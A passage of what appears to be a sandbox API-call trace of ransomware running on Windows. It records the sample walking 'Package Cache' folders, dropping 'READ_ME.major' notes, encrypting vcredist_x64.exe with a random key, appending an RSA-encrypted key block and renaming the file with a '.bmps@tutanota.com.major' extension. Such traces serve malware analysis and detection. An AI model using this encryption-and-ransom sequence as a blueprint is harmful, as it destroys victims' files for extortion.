out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd40fefff, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f768c8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x159168ea, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x630ec0 [0152.476] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0ca0 | out: hHeap=0x570000) returned 1 [0152.476] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7d08 [0152.476] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0152.476] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7d08 | out: hHeap=0x570000) returned 1 [0152.476] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0a48 [0152.476] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0152.476] GetLastError () returned 0x12 [0152.476] SetLastError (dwErrCode=0x12) [0152.476] GetLastError () returned 0x12 [0152.476] SetLastError (dwErrCode=0x12) [0152.476] GetLastError () returned 0x12 [0152.476] SetLastError (dwErrCode=0x12) [0152.476] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0152.476] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5befd0 [0152.476] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0152.476] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cce40 [0152.476] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x630f00 [0152.476] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x630f00 | out: hHeap=0x570000) returned 1 [0152.476] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40498 [0152.476] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40498 | out: hHeap=0x570000) returned 1 [0152.476] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cce40 | out: hHeap=0x570000) returned 1 [0152.476] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0152.476] FindNextFileW (in: hFindFile=0x630ec0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd40fefff, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f768c8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x159168ea, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0152.476] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0a48 | out: hHeap=0x570000) returned 1 [0152.476] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7a80 [0152.476] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0152.476] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7a80 | out: hHeap=0x570000) returned 1 [0152.476] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0b10 [0152.476] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0152.476] GetLastError () returned 0x12 [0152.476] SetLastError (dwErrCode=0x12) [0152.477] GetLastError () returned 0x12 [0152.477] SetLastError (dwErrCode=0x12) [0152.477] GetLastError () returned 0x12 [0152.477] SetLastError (dwErrCode=0x12) [0152.477] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40f0 [0152.477] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5befd0 [0152.477] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0152.477] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cce40 [0152.477] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x630e00 [0152.477] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x630e00 | out: hHeap=0x570000) returned 1 [0152.477] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e404b0 | out: hHeap=0x570000) returned 1 [0152.477] FindNextFileW (in: hFindFile=0x630ec0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd414b4b9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f76e30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd414b4b9, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="packages", cAlternateFileName="")) returned 1 [0152.477] SetLastError (dwErrCode=0x12) [0152.477] GetLastError () returned 0x12 [0152.477] SetLastError (dwErrCode=0x12) [0152.477] GetLastError () returned 0x12 [0152.477] SetLastError (dwErrCode=0x12) [0152.477] SetLastError (dwErrCode=0x12) [0152.477] GetLastError () returned 0x12 [0152.477] SetLastError (dwErrCode=0x12) [0152.477] SetLastError (dwErrCode=0x12) [0152.477] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\READ_ME.major" (normalized: "c:\\users\\all users\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x668 [0152.478] WriteFile (in: hFile=0x668, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0152.478] CloseHandle (hObject=0x668) returned 1 [0152.479] FindNextFileW (in: hFindFile=0x630ec0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x159168ea, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x159168ea, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x159168ea, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0152.479] SetLastError (dwErrCode=0x0) [0152.479] GetLastError () returned 0x0 [0152.479] SetLastError (dwErrCode=0x0) [0152.479] GetLastError () returned 0x0 [0152.479] SetLastError (dwErrCode=0x0) [0152.479] FindNextFileW (in: hFindFile=0x630ec0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x159168ea, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x159168ea, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x159168ea, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0152.479] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0f9f9b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2fe5a20, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x159168ea, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x630e00 [0152.479] SetLastError (dwErrCode=0x12) [0152.480] GetLastError () returned 0x12 [0152.480] SetLastError (dwErrCode=0x12) [0152.480] GetLastError () returned 0x12 [0152.480] SetLastError (dwErrCode=0x12) [0152.480] FindNextFileW (in: hFindFile=0x630e00, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0f9f9b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2fe5a20, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x159168ea, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0152.480] SetLastError (dwErrCode=0x12) [0152.480] GetLastError () returned 0x12 [0152.480] SetLastError (dwErrCode=0x12) [0152.480] GetLastError () returned 0x12 [0152.480] SetLastError (dwErrCode=0x12) [0152.480] FindNextFileW (in: hFindFile=0x630e00, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0f9f9b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2fe636a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0f9f9b, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="packages", cAlternateFileName="")) returned 1 [0152.481] SetLastError (dwErrCode=0x12) [0152.481] GetLastError () returned 0x12 [0152.481] SetLastError (dwErrCode=0x12) [0152.481] GetLastError () returned 0x12 [0152.481] SetLastError (dwErrCode=0x12) [0152.481] SetLastError (dwErrCode=0x12) [0152.481] GetLastError () returned 0x12 [0152.481] SetLastError (dwErrCode=0x12) [0152.481] SetLastError (dwErrCode=0x12) [0152.481] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\READ_ME.major" (normalized: "c:\\users\\all users\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x66c [0152.482] WriteFile (in: hFile=0x66c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0152.482] CloseHandle (hObject=0x66c) returned 1 [0152.483] FindNextFileW (in: hFindFile=0x630e00, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x159168ea, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x159168ea, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x159168ea, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0152.483] SetLastError (dwErrCode=0x0) [0152.483] GetLastError () returned 0x0 [0152.483] SetLastError (dwErrCode=0x0) [0152.483] GetLastError () returned 0x0 [0152.483] SetLastError (dwErrCode=0x0) [0152.483] FindNextFileW (in: hFindFile=0x630e00, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x159168ea, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x159168ea, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x159168ea, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0152.483] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf087898, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3032038, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x159168ea, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x631000 [0152.483] SetLastError (dwErrCode=0x12) [0152.483] GetLastError () returned 0x12 [0152.483] SetLastError (dwErrCode=0x12) [0152.483] GetLastError () returned 0x12 [0152.483] SetLastError (dwErrCode=0x12) [0152.483] FindNextFileW (in: hFindFile=0x631000, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf087898, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3032038, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x159168ea, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0152.483] SetLastError (dwErrCode=0x12) [0152.483] GetLastError () returned 0x12 [0152.483] SetLastError (dwErrCode=0x12) [0152.483] GetLastError () returned 0x12 [0152.483] SetLastError (dwErrCode=0x12) [0152.483] FindNextFileW (in: hFindFile=0x631000, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0d3d43, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3033181, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0d3d43, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="packages", cAlternateFileName="")) returned 1 [0152.483] SetLastError (dwErrCode=0x12) [0152.483] GetLastError () returned 0x12 [0152.483] SetLastError (dwErrCode=0x12) [0152.483] GetLastError () returned 0x12 [0152.484] SetLastError (dwErrCode=0x12) [0152.484] SetLastError (dwErrCode=0x12) [0152.484] GetLastError () returned 0x12 [0152.484] SetLastError (dwErrCode=0x12) [0152.484] SetLastError (dwErrCode=0x12) [0152.484] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\READ_ME.major" (normalized: "c:\\users\\all users\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x670 [0152.484] WriteFile (in: hFile=0x670, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0152.485] CloseHandle (hObject=0x670) returned 1 [0152.485] FindNextFileW (in: hFindFile=0x631000, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x159168ea, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x159168ea, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x159168ea, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0152.485] SetLastError (dwErrCode=0x0) [0152.485] GetLastError () returned 0x0 [0152.485] SetLastError (dwErrCode=0x0) [0152.485] GetLastError () returned 0x0 [0152.485] SetLastError (dwErrCode=0x0) [0152.485] FindNextFileW (in: hFindFile=0x631000, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x159168ea, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x159168ea, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x159168ea, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0152.485] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0a28d82, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc307e4cc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x159168ea, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x631040 [0152.485] SetLastError (dwErrCode=0x12) [0152.485] GetLastError () returned 0x12 [0152.485] SetLastError (dwErrCode=0x12) [0152.485] GetLastError () returned 0x12 [0152.485] SetLastError (dwErrCode=0x12) [0152.485] FindNextFileW (in: hFindFile=0x631040, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0a28d82, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc307e4cc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x159168ea, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0152.485] SetLastError (dwErrCode=0x12) [0152.486] GetLastError () returned 0x12 [0152.486] SetLastError (dwErrCode=0x12) [0152.486] GetLastError () returned 0x12 [0152.486] SetLastError (dwErrCode=0x12) [0152.486] FindNextFileW (in: hFindFile=0x631040, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x159168ea, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x159168ea, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x159168ea, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0152.486] SetLastError (dwErrCode=0x12) [0152.486] GetLastError () returned 0x12 [0152.486] SetLastError (dwErrCode=0x12) [0152.486] GetLastError () returned 0x12 [0152.486] SetLastError (dwErrCode=0x12) [0152.486] FindNextFileW (in: hFindFile=0x631040, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0a28d82, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xd0a28d82, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x359ea6b6, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x272, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="state.rsm", cAlternateFileName="")) returned 1 [0152.486] SetLastError (dwErrCode=0x12) [0152.486] GetLastError () returned 0x12 [0152.486] SetLastError (dwErrCode=0x12) [0152.486] GetLastError () returned 0x12 [0152.486] SetLastError (dwErrCode=0x12) [0152.486] FindNextFileW (in: hFindFile=0x631040, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0a28d82, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xd0a28d82, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xd0a02b30, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x6f398, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="vcredist_x64.exe", cAlternateFileName="VCREDI~1.EXE")) returned 1 [0152.486] SetLastError (dwErrCode=0x12) [0152.486] GetLastError () returned 0x12 [0152.486] SetLastError (dwErrCode=0x12) [0152.486] GetLastError () returned 0x12 [0152.486] SetLastError (dwErrCode=0x12) [0152.486] FindNextFileW (in: hFindFile=0x631040, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0a28d82, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xd0a28d82, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xd0a02b30, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x6f398, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="vcredist_x64.exe", cAlternateFileName="VCREDI~1.EXE")) returned 0 [0152.486] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0152.486] SetFileAttributesW (lpFileName="\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe", dwFileAttributes=0x80) returned 1 [0152.487] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe" (normalized: "c:\\users\\all users\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x674 [0152.487] GetFileSizeEx (in: hFile=0x674, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=455576) returned 1 [0152.487] ReadFile (in: hFile=0x674, lpBuffer=0x2e40f20, nNumberOfBytesToRead=0x6f398, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e40f20*, lpNumberOfBytesRead=0x2e3f9b4*=0x6f398, lpOverlapped=0x0) returned 1 [0152.499] SetFilePointer (in: hFile=0x674, lDistanceToMove=-455576, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0152.499] WriteFile (in: hFile=0x674, lpBuffer=0x2eb02c0*, nNumberOfBytesToWrite=0x6f398, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2eb02c0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x6f398, lpOverlapped=0x0) returned 1 [0152.501] SetFilePointer (in: hFile=0x674, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x6f398 [0152.501] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0152.501] WriteFile (in: hFile=0x674, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0152.501] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0152.501] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0152.501] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0152.501] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0152.501] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="NI9+OMGVA5e8aTFrFteqSDJpdTHFkDe5TMn3ium7ZKhz5ctvm5M7LocnFdxvcPhS\np3nihP/8eKP8eFvHRG2HgHbWy2Rcu0frOdKBlyix0Akf1rXx1j6+Tc1b6L6YzDZq\nU2xart2SK5kckGNScgFJh1kVmIsSqkHFthVqzW2NJ5Zni5VZAWVES4R1tzZA/o7D\nx1e2PcOVmi6mjxHUxCFauLEWMBoRPME8LGdMR2Zx0kB7/BkVP3dhcW10v+h5nzPe\n8HHWi7O13KQOBa8VO6S86BDRvC6g5Bx838QwiBE8FSZATtpuPzof6HGbYJw+wIxa\nnHekYcZ1DprrxtldPvkDVQ==\n", pcchString=0x2e3f9a8) returned 1 [0152.501] WriteFile (in: hFile=0x674, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0152.501] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0152.501] WriteFile (in: hFile=0x674, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0152.502] CloseHandle (hObject=0x674) returned 1 [0152.502] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0152.502] MoveFileExW (lpExistingFileName="\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe" (normalized: "c:\\users\\all users\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe"), lpNewFileName="\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\all users\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0152.503] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b85a8 | out: hHeap=0x570000) returned 1 [0152.503] HeapFree (in: 